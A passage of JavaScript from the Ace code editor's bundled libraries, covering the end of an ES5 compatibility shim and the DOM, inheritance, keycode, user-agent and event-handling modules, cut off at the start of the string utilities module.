if (tailNewPos < tailOldPos) { // case A
for (var i = 0; i < tailCount; ++i) {
this[tailNewPos+i] = this[tailOldPos+i];
}
} else if (tailNewPos > tailOldPos) { // case B
for (i = tailCount; i--; ) {
this[tailNewPos+i] = this[tailOldPos+i];
}
} // else, add == remove (nothing to do)
if (add && pos === lengthAfterRemove) {
this.length = lengthAfterRemove; // truncate array
this.push.apply(this, insert);
} else {
this.length = lengthAfterRemove + add; // reserves space
for (i = 0; i < add; ++i) {
this[pos+i] = insert[i];
}
}
}
return removed;
};
}
}
if (!Array.isArray) {
Array.isArray = function isArray(obj) {
return _toString(obj) == "[object Array]";
};
}
var boxedString = Object("a"),
splitString = boxedString[0] != "a" || !(0 in boxedString);
if (!Array.prototype.forEach) {
Array.prototype.forEach = function forEach(fun /*, thisp*/) {
var object = toObject(this),
self = splitString && _toString(this) == "[object String]" ?
this.split("") :
object,
thisp = arguments[1],
i = -1,
length = self.length >>> 0;
if (_toString(fun) != "[object Function]") {
throw new TypeError(); // TODO message
}
while (++i < length) {
if (i in self) {
fun.call(thisp, self[i], i, object);
}
}
};
}
if (!Array.prototype.map) {
Array.prototype.map = function map(fun /*, thisp*/) {
var object = toObject(this),
self = splitString && _toString(this) == "[object String]" ?
this.split("") :
object,
length = self.length >>> 0,
result = Array(length),
thisp = arguments[1];
if (_toString(fun) != "[object Function]") {
throw new TypeError(fun + " is not a function");
}
for (var i = 0; i < length; i++) {
if (i in self)
result[i] = fun.call(thisp, self[i], i, object);
}
return result;
};
}
if (!Array.prototype.filter) {
Array.prototype.filter = function filter(fun /*, thisp */) {
var object = toObject(this),
self = splitString && _toString(this) == "[object String]" ?
this.split("") :
object,
length = self.length >>> 0,
result = [],
value,
thisp = arguments[1];
if (_toString(fun) != "[object Function]") {
throw new TypeError(fun + " is not a function");
}
for (var i = 0; i < length; i++) {
if (i in self) {
value = self[i];
if (fun.call(thisp, value, i, object)) {
result.push(value);
}
}
}
return result;
};
}
if (!Array.prototype.every) {
Array.prototype.every = function every(fun /*, thisp */) {
var object = toObject(this),
self = splitString && _toString(this) == "[object String]" ?
this.split("") :
object,
length = self.length >>> 0,
thisp = arguments[1];
if (_toString(fun) != "[object Function]") {
throw new TypeError(fun + " is not a function");
}
for (var i = 0; i < length; i++) {
if (i in self && !fun.call(thisp, self[i], i, object)) {
return false;
}
}
return true;
};
}
if (!Array.prototype.some) {
Array.prototype.some = function some(fun /*, thisp */) {
var object = toObject(this),
self = splitString && _toString(this) == "[object String]" ?
this.split("") :
object,
length = self.length >>> 0,
thisp = arguments[1];
if (_toString(fun) != "[object Function]") {
throw new TypeError(fun + " is not a function");
}
for (var i = 0; i < length; i++) {
if (i in self && fun.call(thisp, self[i], i, object)) {
return true;
}
}
return false;
};
}
if (!Array.prototype.reduce) {
Array.prototype.reduce = function reduce(fun /*, initial*/) {
var object = toObject(this),
self = splitString && _toString(this) == "[object String]" ?
this.split("") :
object,
length = self.length >>> 0;
if (_toString(fun) != "[object Function]") {
throw new TypeError(fun + " is not a function");
}
if (!length && arguments.length == 1) {
throw new TypeError("reduce of empty array with no initial value");
}
var i = 0;
var result;
if (arguments.length >= 2) {
result = arguments[1];
} else {
do {
if (i in self) {
result = self[i++];
break;
}
if (++i >= length) {
throw new TypeError("reduce of empty array with no initial value");
}
} while (true);
}
for (; i < length; i++) {
if (i in self) {
result = fun.call(void 0, result, self[i], i, object);
}
}
return result;
};
}
if (!Array.prototype.reduceRight) {
Array.prototype.reduceRight = function reduceRight(fun /*, initial*/) {
var object = toObject(this),
self = splitString && _toString(this) == "[object String]" ?
this.split("") :
object,
length = self.length >>> 0;
if (_toString(fun) != "[object Function]") {
throw new TypeError(fun + " is not a function");
}
if (!length && arguments.length == 1) {
throw new TypeError("reduceRight of empty array with no initial value");
}
var result, i = length - 1;
if (arguments.length >= 2) {
result = arguments[1];
} else {
do {
if (i in self) {
result = self[i--];
break;
}
if (--i < 0) {
throw new TypeError("reduceRight of empty array with no initial value");
}
} while (true);
}
do {
if (i in this) {
result = fun.call(void 0, result, self[i], i, object);
}
} while (i--);
return result;
};
}
if (!Array.prototype.indexOf || ([0, 1].indexOf(1, 2) != -1)) {
Array.prototype.indexOf = function indexOf(sought /*, fromIndex */ ) {
var self = splitString && _toString(this) == "[object String]" ?
this.split("") :
toObject(this),
length = self.length >>> 0;
if (!length) {
return -1;
}
var i = 0;
if (arguments.length > 1) {
i = toInteger(arguments[1]);
}
i = i >= 0 ? i : Math.max(0, length + i);
for (; i < length; i++) {
if (i in self && self[i] === sought) {
return i;
}
}
return -1;
};
}
if (!Array.prototype.lastIndexOf || ([0, 1].lastIndexOf(0, -3) != -1)) {
Array.prototype.lastIndexOf = function lastIndexOf(sought /*, fromIndex */) {
var self = splitString && _toString(this) == "[object String]" ?
this.split("") :
toObject(this),
length = self.length >>> 0;
if (!length) {
return -1;
}
var i = length - 1;
if (arguments.length > 1) {
i = Math.min(i, toInteger(arguments[1]));
}
i = i >= 0 ? i : length - Math.abs(i);
for (; i >= 0; i--) {
if (i in self && sought === self[i]) {
return i;
}
}
return -1;
};
}
if (!Object.getPrototypeOf) {
Object.getPrototypeOf = function getPrototypeOf(object) {
return object.__proto__ || (
object.constructor ?
object.constructor.prototype :
prototypeOfObject
);
};
}
if (!Object.getOwnPropertyDescriptor) {
var ERR_NON_OBJECT = "Object.getOwnPropertyDescriptor called on a " +
"non-object: ";
Object.getOwnPropertyDescriptor = function getOwnPropertyDescriptor(object, property) {
if ((typeof object != "object" && typeof object != "function") || object === null)
throw new TypeError(ERR_NON_OBJECT + object);
if (!owns(object, property))
return;
var descriptor, getter, setter;
descriptor = { enumerable: true, configurable: true };
if (supportsAccessors) {
var prototype = object.__proto__;
object.__proto__ = prototypeOfObject;
var getter = lookupGetter(object, property);
var setter = lookupSetter(object, property);
object.__proto__ = prototype;
if (getter || setter) {
if (getter) descriptor.get = getter;
if (setter) descriptor.set = setter;
return descriptor;
}
}
descriptor.value = object[property];
return descriptor;
};
}
if (!Object.getOwnPropertyNames) {
Object.getOwnPropertyNames = function getOwnPropertyNames(object) {
return Object.keys(object);
};
}
if (!Object.create) {
var createEmpty;
if (Object.prototype.__proto__ === null) {
createEmpty = function () {
return { "__proto__": null };
};
} else {
createEmpty = function () {
var empty = {};
for (var i in empty)
empty[i] = null;
empty.constructor =
empty.hasOwnProperty =
empty.propertyIsEnumerable =
empty.isPrototypeOf =
empty.toLocaleString =
empty.toString =
empty.valueOf =
empty.__proto__ = null;
return empty;
}
}
Object.create = function create(prototype, properties) {
var object;
if (prototype === null) {
object = createEmpty();
} else {
if (typeof prototype != "object")
throw new TypeError("typeof prototype["+(typeof prototype)+"] != 'object'");
var Type = function () {};
Type.prototype = prototype;
object = new Type();
object.__proto__ = prototype;
}
if (properties !== void 0)
Object.defineProperties(object, properties);
return object;
};
}
function doesDefinePropertyWork(object) {
try {
Object.defineProperty(object, "sentinel", {});
return "sentinel" in object;
} catch (exception) {
}
}
if (Object.defineProperty) {
var definePropertyWorksOnObject = doesDefinePropertyWork({});
var definePropertyWorksOnDom = typeof document == "undefined" ||
doesDefinePropertyWork(document.createElement("div"));
if (!definePropertyWorksOnObject || !definePropertyWorksOnDom) {
var definePropertyFallback = Object.defineProperty;
}
}
if (!Object.defineProperty || definePropertyFallback) {
var ERR_NON_OBJECT_DESCRIPTOR = "Property description must be an object: ";
var ERR_NON_OBJECT_TARGET = "Object.defineProperty called on non-object: "
var ERR_ACCESSORS_NOT_SUPPORTED = "getters & setters can not be defined " +
"on this javascript engine";
Object.defineProperty = function defineProperty(object, property, descriptor) {
if ((typeof object != "object" && typeof object != "function") || object === null)
throw new TypeError(ERR_NON_OBJECT_TARGET + object);
if ((typeof descriptor != "object" && typeof descriptor != "function") || descriptor === null)
throw new TypeError(ERR_NON_OBJECT_DESCRIPTOR + descriptor);
if (definePropertyFallback) {
try {
return definePropertyFallback.call(Object, object, property, descriptor);
} catch (exception) {
}
}
if (owns(descriptor, "value")) {
if (supportsAccessors && (lookupGetter(object, property) ||
lookupSetter(object, property)))
{
var prototype = object.__proto__;
object.__proto__ = prototypeOfObject;
delete object[property];
object[property] = descriptor.value;
object.__proto__ = prototype;
} else {
object[property] = descriptor.value;
}
} else {
if (!supportsAccessors)
throw new TypeError(ERR_ACCESSORS_NOT_SUPPORTED);
if (owns(descriptor, "get"))
defineGetter(object, property, descriptor.get);
if (owns(descriptor, "set"))
defineSetter(object, property, descriptor.set);
}
return object;
};
}
if (!Object.defineProperties) {
Object.defineProperties = function defineProperties(object, properties) {
for (var property in properties) {
if (owns(properties, property))
Object.defineProperty(object, property, properties[property]);
}
return object;
};
}
if (!Object.seal) {
Object.seal = function seal(object) {
return object;
};
}
if (!Object.freeze) {
Object.freeze = function freeze(object) {
return object;
};
}
try {
Object.freeze(function () {});
} catch (exception) {
Object.freeze = (function freeze(freezeObject) {
return function freeze(object) {
if (typeof object == "function") {
return object;
} else {
return freezeObject(object);
}
};
})(Object.freeze);
}
if (!Object.preventExtensions) {
Object.preventExtensions = function preventExtensions(object) {
return object;
};
}
if (!Object.isSealed) {
Object.isSealed = function isSealed(object) {
return false;
};
}
if (!Object.isFrozen) {
Object.isFrozen = function isFrozen(object) {
return false;
};
}
if (!Object.isExtensible) {
Object.isExtensible = function isExtensible(object) {
if (Object(object) === object) {
throw new TypeError(); // TODO message
}
var name = '';
while (owns(object, name)) {
name += '?';
}
object[name] = true;
var returnValue = owns(object, name);
delete object[name];
return returnValue;
};
}
if (!Object.keys) {
var hasDontEnumBug = true,
dontEnums = [
"toString",
"toLocaleString",
"valueOf",
"hasOwnProperty",
"isPrototypeOf",
"propertyIsEnumerable",
"constructor"
],
dontEnumsLength = dontEnums.length;
for (var key in {"toString": null}) {
hasDontEnumBug = false;
}
Object.keys = function keys(object) {
if (
(typeof object != "object" && typeof object != "function") ||
object === null
) {
throw new TypeError("Object.keys called on a non-object");
}
var keys = [];
for (var name in object) {
if (owns(object, name)) {
keys.push(name);
}
}
if (hasDontEnumBug) {
for (var i = 0, ii = dontEnumsLength; i < ii; i++) {
var dontEnum = dontEnums[i];
if (owns(object, dontEnum)) {
keys.push(dontEnum);
}
}
}
return keys;
};
}
if (!Date.now) {
Date.now = function now() {
return new Date().getTime();
};
}
var ws = "\x09\x0A\x0B\x0C\x0D\x20\xA0\u1680\u180E\u2000\u2001\u2002\u2003" +
"\u2004\u2005\u2006\u2007\u2008\u2009\u200A\u202F\u205F\u3000\u2028" +
"\u2029\uFEFF";
if (!String.prototype.trim || ws.trim()) {
ws = "[" + ws + "]";
var trimBeginRegexp = new RegExp("^" + ws + ws + "*"),
trimEndRegexp = new RegExp(ws + ws + "*$");
String.prototype.trim = function trim() {
return String(this).replace(trimBeginRegexp, "").replace(trimEndRegexp, "");
};
}
function toInteger(n) {
n = +n;
if (n !== n) { // isNaN
n = 0;
} else if (n !== 0 && n !== (1/0) && n !== -(1/0)) {
n = (n > 0 || -1) * Math.floor(Math.abs(n));
}
return n;
}
function isPrimitive(input) {
var type = typeof input;
return (
input === null ||
type === "undefined" ||
type === "boolean" ||
type === "number" ||
type === "string"
);
}
function toPrimitive(input) {
var val, valueOf, toString;
if (isPrimitive(input)) {
return input;
}
valueOf = input.valueOf;
if (typeof valueOf === "function") {
val = valueOf.call(input);
if (isPrimitive(val)) {
return val;
}
}
toString = input.toString;
if (typeof toString === "function") {
val = toString.call(input);
if (isPrimitive(val)) {
return val;
}
}
throw new TypeError();
}
var toObject = function (o) {
if (o == null) { // this matches both null and undefined
throw new TypeError("can't convert "+o+" to object");
}
return Object(o);
};
});
ace.define("ace/lib/fixoldbrowsers",["require","exports","module","ace/lib/regexp","ace/lib/es5-shim"], function(require, exports, module) {
"use strict";
require("./regexp");
require("./es5-shim");
});
ace.define("ace/lib/dom",["require","exports","module"], function(require, exports, module) {
"use strict";
var XHTML_NS = "http://www.w3.org/1999/xhtml";
exports.getDocumentHead = function(doc) {
if (!doc)
doc = document;
return doc.head || doc.getElementsByTagName("head")[0] || doc.documentElement;
};
exports.createElement = function(tag, ns) {
return document.createElementNS ?
document.createElementNS(ns || XHTML_NS, tag) :
document.createElement(tag);
};
exports.hasCssClass = function(el, name) {
var classes = (el.className + "").split(/\s+/g);
return classes.indexOf(name) !== -1;
};
exports.addCssClass = function(el, name) {
if (!exports.hasCssClass(el, name)) {
el.className += " " + name;
}
};
exports.removeCssClass = function(el, name) {
var classes = el.className.split(/\s+/g);
while (true) {
var index = classes.indexOf(name);
if (index == -1) {
break;
}
classes.splice(index, 1);
}
el.className = classes.join(" ");
};
exports.toggleCssClass = function(el, name) {
var classes = el.className.split(/\s+/g), add = true;
while (true) {
var index = classes.indexOf(name);
if (index == -1) {
break;
}
add = false;
classes.splice(index, 1);
}
if (add)
classes.push(name);
el.className = classes.join(" ");
return add;
};
exports.setCssClass = function(node, className, include) {
if (include) {
exports.addCssClass(node, className);
} else {
exports.removeCssClass(node, className);
}
};
exports.hasCssString = function(id, doc) {
var index = 0, sheets;
doc = doc || document;
if (doc.createStyleSheet && (sheets = doc.styleSheets)) {
while (index < sheets.length)
if (sheets[index++].owningElement.id === id) return true;
} else if ((sheets = doc.getElementsByTagName("style"))) {
while (index < sheets.length)
if (sheets[index++].id === id) return true;
}
return false;
};
exports.importCssString = function importCssString(cssText, id, doc) {
doc = doc || document;
if (id && exports.hasCssString(id, doc))
return null;
var style;
if (id)
cssText += "\n/*# sourceURL=ace/css/" + id + " */";
if (doc.createStyleSheet) {
style = doc.createStyleSheet();
style.cssText = cssText;
if (id)
style.owningElement.id = id;
} else {
style = exports.createElement("style");
style.appendChild(doc.createTextNode(cssText));
if (id)
style.id = id;
exports.getDocumentHead(doc).appendChild(style);
}
};
exports.importCssStylsheet = function(uri, doc) {
if (doc.createStyleSheet) {
doc.createStyleSheet(uri);
} else {
var link = exports.createElement('link');
link.rel = 'stylesheet';
link.href = uri;
exports.getDocumentHead(doc).appendChild(link);
}
};
exports.getInnerWidth = function(element) {
return (
parseInt(exports.computedStyle(element, "paddingLeft"), 10) +
parseInt(exports.computedStyle(element, "paddingRight"), 10) +
element.clientWidth
);
};
exports.getInnerHeight = function(element) {
return (
parseInt(exports.computedStyle(element, "paddingTop"), 10) +
parseInt(exports.computedStyle(element, "paddingBottom"), 10) +
element.clientHeight
);
};
exports.scrollbarWidth = function(document) {
var inner = exports.createElement("ace_inner");
inner.style.width = "100%";
inner.style.minWidth = "0px";
inner.style.height = "200px";
inner.style.display = "block";
var outer = exports.createElement("ace_outer");
var style = outer.style;
style.position = "absolute";
style.left = "-10000px";
style.overflow = "hidden";
style.width = "200px";
style.minWidth = "0px";
style.height = "150px";
style.display = "block";
outer.appendChild(inner);
var body = document.documentElement;
body.appendChild(outer);
var noScrollbar = inner.offsetWidth;
style.overflow = "scroll";
var withScrollbar = inner.offsetWidth;
if (noScrollbar == withScrollbar) {
withScrollbar = outer.clientWidth;
}
body.removeChild(outer);
return noScrollbar-withScrollbar;
};
if (typeof document == "undefined") {
exports.importCssString = function() {};
return;
}
if (window.pageYOffset !== undefined) {
exports.getPageScrollTop = function() {
return window.pageYOffset;
};
exports.getPageScrollLeft = function() {
return window.pageXOffset;
};
}
else {
exports.getPageScrollTop = function() {
return document.body.scrollTop;
};
exports.getPageScrollLeft = function() {
return document.body.scrollLeft;
};
}
if (window.getComputedStyle)
exports.computedStyle = function(element, style) {
if (style)
return (window.getComputedStyle(element, "") || {})[style] || "";
return window.getComputedStyle(element, "") || {};
};
else
exports.computedStyle = function(element, style) {
if (style)
return element.currentStyle[style];
return element.currentStyle;
};
exports.setInnerHtml = function(el, innerHtml) {
var element = el.cloneNode(false);//document.createElement("div");
element.innerHTML = innerHtml;
el.parentNode.replaceChild(element, el);
return element;
};
if ("textContent" in document.documentElement) {
exports.setInnerText = function(el, innerText) {
el.textContent = innerText;
};
exports.getInnerText = function(el) {
return el.textContent;
};
}
else {
exports.setInnerText = function(el, innerText) {
el.innerText = innerText;
};
exports.getInnerText = function(el) {
return el.innerText;
};
}
exports.getParentWindow = function(document) {
return document.defaultView || document.parentWindow;
};
});
ace.define("ace/lib/oop",["require","exports","module"], function(require, exports, module) {
"use strict";
exports.inherits = function(ctor, superCtor) {
ctor.super_ = superCtor;
ctor.prototype = Object.create(superCtor.prototype, {
constructor: {
value: ctor,
enumerable: false,
writable: true,
configurable: true
}
});
};
exports.mixin = function(obj, mixin) {
for (var key in mixin) {
obj[key] = mixin[key];
}
return obj;
};
exports.implement = function(proto, mixin) {
exports.mixin(proto, mixin);
};
});
ace.define("ace/lib/keys",["require","exports","module","ace/lib/fixoldbrowsers","ace/lib/oop"], function(require, exports, module) {
"use strict";
require("./fixoldbrowsers");
var oop = require("./oop");
var Keys = (function() {
var ret = {
MODIFIER_KEYS: {
16: 'Shift', 17: 'Ctrl', 18: 'Alt', 224: 'Meta'
},
KEY_MODS: {
"ctrl": 1, "alt": 2, "option" : 2, "shift": 4,
"super": 8, "meta": 8, "command": 8, "cmd": 8
},
FUNCTION_KEYS : {
8 : "Backspace",
9 : "Tab",
13 : "Return",
19 : "Pause",
27 : "Esc",
32 : "Space",
33 : "PageUp",
34 : "PageDown",
35 : "End",
36 : "Home",
37 : "Left",
38 : "Up",
39 : "Right",
40 : "Down",
44 : "Print",
45 : "Insert",
46 : "Delete",
96 : "Numpad0",
97 : "Numpad1",
98 : "Numpad2",
99 : "Numpad3",
100: "Numpad4",
101: "Numpad5",
102: "Numpad6",
103: "Numpad7",
104: "Numpad8",
105: "Numpad9",
'-13': "NumpadEnter",
112: "F1",
113: "F2",
114: "F3",
115: "F4",
116: "F5",
117: "F6",
118: "F7",
119: "F8",
120: "F9",
121: "F10",
122: "F11",
123: "F12",
144: "Numlock",
145: "Scrolllock"
},
PRINTABLE_KEYS: {
32: ' ', 48: '0', 49: '1', 50: '2', 51: '3', 52: '4', 53: '5',
54: '6', 55: '7', 56: '8', 57: '9', 59: ';', 61: '=', 65: 'a',
66: 'b', 67: 'c', 68: 'd', 69: 'e', 70: 'f', 71: 'g', 72: 'h',
73: 'i', 74: 'j', 75: 'k', 76: 'l', 77: 'm', 78: 'n', 79: 'o',
80: 'p', 81: 'q', 82: 'r', 83: 's', 84: 't', 85: 'u', 86: 'v',
87: 'w', 88: 'x', 89: 'y', 90: 'z', 107: '+', 109: '-', 110: '.',
186: ';', 187: '=', 188: ',', 189: '-', 190: '.', 191: '/', 192: '`',
219: '[', 220: '\\',221: ']', 222: "'", 111: '/', 106: '*'
}
};
var name, i;
for (i in ret.FUNCTION_KEYS) {
name = ret.FUNCTION_KEYS[i].toLowerCase();
ret[name] = parseInt(i, 10);
}
for (i in ret.PRINTABLE_KEYS) {
name = ret.PRINTABLE_KEYS[i].toLowerCase();
ret[name] = parseInt(i, 10);
}
oop.mixin(ret, ret.MODIFIER_KEYS);
oop.mixin(ret, ret.PRINTABLE_KEYS);
oop.mixin(ret, ret.FUNCTION_KEYS);
ret.enter = ret["return"];
ret.escape = ret.esc;
ret.del = ret["delete"];
ret[173] = '-';
(function() {
var mods = ["cmd", "ctrl", "alt", "shift"];
for (var i = Math.pow(2, mods.length); i--;) {
ret.KEY_MODS[i] = mods.filter(function(x) {
return i & ret.KEY_MODS[x];
}).join("-") + "-";
}
})();
ret.KEY_MODS[0] = "";
ret.KEY_MODS[-1] = "input-";
return ret;
})();
oop.mixin(exports, Keys);
exports.keyCodeToString = function(keyCode) {
var keyString = Keys[keyCode];
if (typeof keyString != "string")
keyString = String.fromCharCode(keyCode);
return keyString.toLowerCase();
};
});
ace.define("ace/lib/useragent",["require","exports","module"], function(require, exports, module) {
"use strict";
exports.OS = {
LINUX: "LINUX",
MAC: "MAC",
WINDOWS: "WINDOWS"
};
exports.getOS = function() {
if (exports.isMac) {
return exports.OS.MAC;
} else if (exports.isLinux) {
return exports.OS.LINUX;
} else {
return exports.OS.WINDOWS;
}
};
if (typeof navigator != "object")
return;
var os = (navigator.platform.match(/mac|win|linux/i) || ["other"])[0].toLowerCase();
var ua = navigator.userAgent;
exports.isWin = (os == "win");
exports.isMac = (os == "mac");
exports.isLinux = (os == "linux");
exports.isIE =
(navigator.appName == "Microsoft Internet Explorer" || navigator.appName.indexOf("MSAppHost") >= 0)
? parseFloat((ua.match(/(?:MSIE |Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1])
: parseFloat((ua.match(/(?:Trident\/[0-9]+[\.0-9]+;.*rv:)([0-9]+[\.0-9]+)/)||[])[1]); // for ie
exports.isOldIE = exports.isIE && exports.isIE < 9;
exports.isGecko = exports.isMozilla = (window.Controllers || window.controllers) && window.navigator.product === "Gecko";
exports.isOldGecko = exports.isGecko && parseInt((ua.match(/rv:(\d+)/)||[])[1], 10) < 4;
exports.isOpera = window.opera && Object.prototype.toString.call(window.opera) == "[object Opera]";
exports.isWebKit = parseFloat(ua.split("WebKit/")[1]) || undefined;
exports.isChrome = parseFloat(ua.split(" Chrome/")[1]) || undefined;
exports.isAIR = ua.indexOf("AdobeAIR") >= 0;
exports.isIPad = ua.indexOf("iPad") >= 0;
exports.isChromeOS = ua.indexOf(" CrOS ") >= 0;
exports.isIOS = /iPad|iPhone|iPod/.test(ua) && !window.MSStream;
if (exports.isIOS) exports.isMac = true;
});
ace.define("ace/lib/event",["require","exports","module","ace/lib/keys","ace/lib/useragent"], function(require, exports, module) {
"use strict";
var keys = require("./keys");
var useragent = require("./useragent");
var pressedKeys = null;
var ts = 0;
exports.addListener = function(elem, type, callback) {
if (elem.addEventListener) {
return elem.addEventListener(type, callback, false);
}
if (elem.attachEvent) {
var wrapper = function() {
callback.call(elem, window.event);
};
callback._wrapper = wrapper;
elem.attachEvent("on" + type, wrapper);
}
};
exports.removeListener = function(elem, type, callback) {
if (elem.removeEventListener) {
return elem.removeEventListener(type, callback, false);
}
if (elem.detachEvent) {
elem.detachEvent("on" + type, callback._wrapper || callback);
}
};
exports.stopEvent = function(e) {
exports.stopPropagation(e);
exports.preventDefault(e);
return false;
};
exports.stopPropagation = function(e) {
if (e.stopPropagation)
e.stopPropagation();
else
e.cancelBubble = true;
};
exports.preventDefault = function(e) {
if (e.preventDefault)
e.preventDefault();
else
e.returnValue = false;
};
exports.getButton = function(e) {
if (e.type == "dblclick")
return 0;
if (e.type == "contextmenu" || (useragent.isMac && (e.ctrlKey && !e.altKey && !e.shiftKey)))
return 2;
if (e.preventDefault) {
return e.button;
}
else {
return {1:0, 2:2, 4:1}[e.button];
}
};
exports.capture = function(el, eventHandler, releaseCaptureHandler) {
function onMouseUp(e) {
eventHandler && eventHandler(e);
releaseCaptureHandler && releaseCaptureHandler(e);
exports.removeListener(document, "mousemove", eventHandler, true);
exports.removeListener(document, "mouseup", onMouseUp, true);
exports.removeListener(document, "dragstart", onMouseUp, true);
}
exports.addListener(document, "mousemove", eventHandler, true);
exports.addListener(document, "mouseup", onMouseUp, true);
exports.addListener(document, "dragstart", onMouseUp, true);
return onMouseUp;
};
exports.addTouchMoveListener = function (el, callback) {
var startx, starty;
exports.addListener(el, "touchstart", function (e) {
var touches = e.touches;
var touchObj = touches[0];
startx = touchObj.clientX;
starty = touchObj.clientY;
});
exports.addListener(el, "touchmove", function (e) {
var touches = e.touches;
if (touches.length > 1) return;
var touchObj = touches[0];
e.wheelX = startx - touchObj.clientX;
e.wheelY = starty - touchObj.clientY;
startx = touchObj.clientX;
starty = touchObj.clientY;
callback(e);
});
};
exports.addMouseWheelListener = function(el, callback) {
if ("onmousewheel" in el) {
exports.addListener(el, "mousewheel", function(e) {
var factor = 8;
if (e.wheelDeltaX !== undefined) {
e.wheelX = -e.wheelDeltaX / factor;
e.wheelY = -e.wheelDeltaY / factor;
} else {
e.wheelX = 0;
e.wheelY = -e.wheelDelta / factor;
}
callback(e);
});
} else if ("onwheel" in el) {
exports.addListener(el, "wheel", function(e) {
var factor = 0.35;
switch (e.deltaMode) {
case e.DOM_DELTA_PIXEL:
e.wheelX = e.deltaX * factor || 0;
e.wheelY = e.deltaY * factor || 0;
break;
case e.DOM_DELTA_LINE:
case e.DOM_DELTA_PAGE:
e.wheelX = (e.deltaX || 0) * 5;
e.wheelY = (e.deltaY || 0) * 5;
break;
}
callback(e);
});
} else {
exports.addListener(el, "DOMMouseScroll", function(e) {
if (e.axis && e.axis == e.HORIZONTAL_AXIS) {
e.wheelX = (e.detail || 0) * 5;
e.wheelY = 0;
} else {
e.wheelX = 0;
e.wheelY = (e.detail || 0) * 5;
}
callback(e);
});
}
};
exports.addMultiMouseDownListener = function(elements, timeouts, eventHandler, callbackName) {
var clicks = 0;
var startX, startY, timer;
var eventNames = {
2: "dblclick",
3: "tripleclick",
4: "quadclick"
};
function onMousedown(e) {
if (exports.getButton(e) !== 0) {
clicks = 0;
} else if (e.detail > 1) {
clicks++;
if (clicks > 4)
clicks = 1;
} else {
clicks = 1;
}
if (useragent.isIE) {
var isNewClick = Math.abs(e.clientX - startX) > 5 || Math.abs(e.clientY - startY) > 5;
if (!timer || isNewClick)
clicks = 1;
if (timer)
clearTimeout(timer);
timer = setTimeout(function() {timer = null;}, timeouts[clicks - 1] || 600);
if (clicks == 1) {
startX = e.clientX;
startY = e.clientY;
}
}
e._clicks = clicks;
eventHandler[callbackName]("mousedown", e);
if (clicks > 4)
clicks = 0;
else if (clicks > 1)
return eventHandler[callbackName](eventNames[clicks], e);
}
function onDblclick(e) {
clicks = 2;
if (timer)
clearTimeout(timer);
timer = setTimeout(function() {timer = null;}, timeouts[clicks - 1] || 600);
eventHandler[callbackName]("mousedown", e);
eventHandler[callbackName](eventNames[clicks], e);
}
if (!Array.isArray(elements))
elements = [elements];
elements.forEach(function(el) {
exports.addListener(el, "mousedown", onMousedown);
if (useragent.isOldIE)
exports.addListener(el, "dblclick", onDblclick);
});
};
var getModifierHash = useragent.isMac && useragent.isOpera && !("KeyboardEvent" in window)
? function(e) {
return 0 | (e.metaKey ? 1 : 0) | (e.altKey ? 2 : 0) | (e.shiftKey ? 4 : 0) | (e.ctrlKey ? 8 : 0);
}
: function(e) {
return 0 | (e.ctrlKey ? 1 : 0) | (e.altKey ? 2 : 0) | (e.shiftKey ? 4 : 0) | (e.metaKey ? 8 : 0);
};
exports.getModifierString = function(e) {
return keys.KEY_MODS[getModifierHash(e)];
};
function normalizeCommandKeys(callback, e, keyCode) {
var hashId = getModifierHash(e);
if (!useragent.isMac && pressedKeys) {
if (e.getModifierState && (e.getModifierState("OS") || e.getModifierState("Win")))
hashId |= 8;
if (pressedKeys.altGr) {
if ((3 & hashId) != 3)
pressedKeys.altGr = 0;
else
return;
}
if (keyCode === 18 || keyCode === 17) {
var location = "location" in e ? e.location : e.keyLocation;
if (keyCode === 17 && location === 1) {
if (pressedKeys[keyCode] == 1)
ts = e.timeStamp;
} else if (keyCode === 18 && hashId === 3 && location === 2) {
var dt = e.timeStamp - ts;
if (dt < 50)
pressedKeys.altGr = true;
}
}
}
if (keyCode in keys.MODIFIER_KEYS) {
keyCode = -1;
}
if (hashId & 8 && (keyCode >= 91 && keyCode <= 93)) {
keyCode = -1;
}
if (!hashId && keyCode === 13) {
var location = "location" in e ? e.location : e.keyLocation;
if (location === 3) {
callback(e, hashId, -keyCode);
if (e.defaultPrevented)
return;
}
}
if (useragent.isChromeOS && hashId & 8) {
callback(e, hashId, keyCode);
if (e.defaultPrevented)
return;
else
hashId &= ~8;
}
if (!hashId && !(keyCode in keys.FUNCTION_KEYS) && !(keyCode in keys.PRINTABLE_KEYS)) {
return false;
}
return callback(e, hashId, keyCode);
}
exports.addCommandKeyListener = function(el, callback) {
var addListener = exports.addListener;
if (useragent.isOldGecko || (useragent.isOpera && !("KeyboardEvent" in window))) {
var lastKeyDownKeyCode = null;
addListener(el, "keydown", function(e) {
lastKeyDownKeyCode = e.keyCode;
});
addListener(el, "keypress", function(e) {
return normalizeCommandKeys(callback, e, lastKeyDownKeyCode);
});
} else {
var lastDefaultPrevented = null;
addListener(el, "keydown", function(e) {
pressedKeys[e.keyCode] = (pressedKeys[e.keyCode] || 0) + 1;
var result = normalizeCommandKeys(callback, e, e.keyCode);
lastDefaultPrevented = e.defaultPrevented;
return result;
});
addListener(el, "keypress", function(e) {
if (lastDefaultPrevented && (e.ctrlKey || e.altKey || e.shiftKey || e.metaKey)) {
exports.stopEvent(e);
lastDefaultPrevented = null;
}
});
addListener(el, "keyup", function(e) {
pressedKeys[e.keyCode] = null;
});
if (!pressedKeys) {
resetPressedKeys();
addListener(window, "focus", resetPressedKeys);
}
}
};
function resetPressedKeys() {
pressedKeys = Object.create(null);
}
if (typeof window == "object" && window.postMessage && !useragent.isOldIE) {
var postMessageId = 1;
exports.nextTick = function(callback, win) {
win = win || window;
var messageName = "zero-timeout-message-" + postMessageId;
exports.addListener(win, "message", function listener(e) {
if (e.data == messageName) {
exports.stopPropagation(e);
exports.removeListener(win, "message", listener);
callback();
}
});
win.postMessage(messageName, "*");
};
}
exports.nextFrame = typeof window == "object" && (window.requestAnimationFrame
|| window.mozRequestAnimationFrame
|| window.webkitRequestAnimationFrame
|| window.msRequestAnimationFrame
|| window.oRequestAnimationFrame);
if (exports.nextFrame)
exports.nextFrame = exports.nextFrame.bind(window);
else
exports.nextFrame = function(callback) {
setTimeout(callback, 17);
};
});
ace.define("ace/lib/lang",["require","exports","module"], function(require, exports, module) {
"use strict";
exports.last = function(a) {
return a[a.length - 1];
};
exports.stringReverse = function(string) {
return string.split("").reverse().join("");
};
exports.stringRepeat = function (string, count) {
var result = '';
while (count > 0) {
if (count & 1)
result += string;
if (count >>= 1)
string += string;
}
return result;
};
var trimBeginRegexp = /^\s\s*/;
var trimEndRegexp = /\s\s*$/;
exports.stringTrimLeft = function (string) {
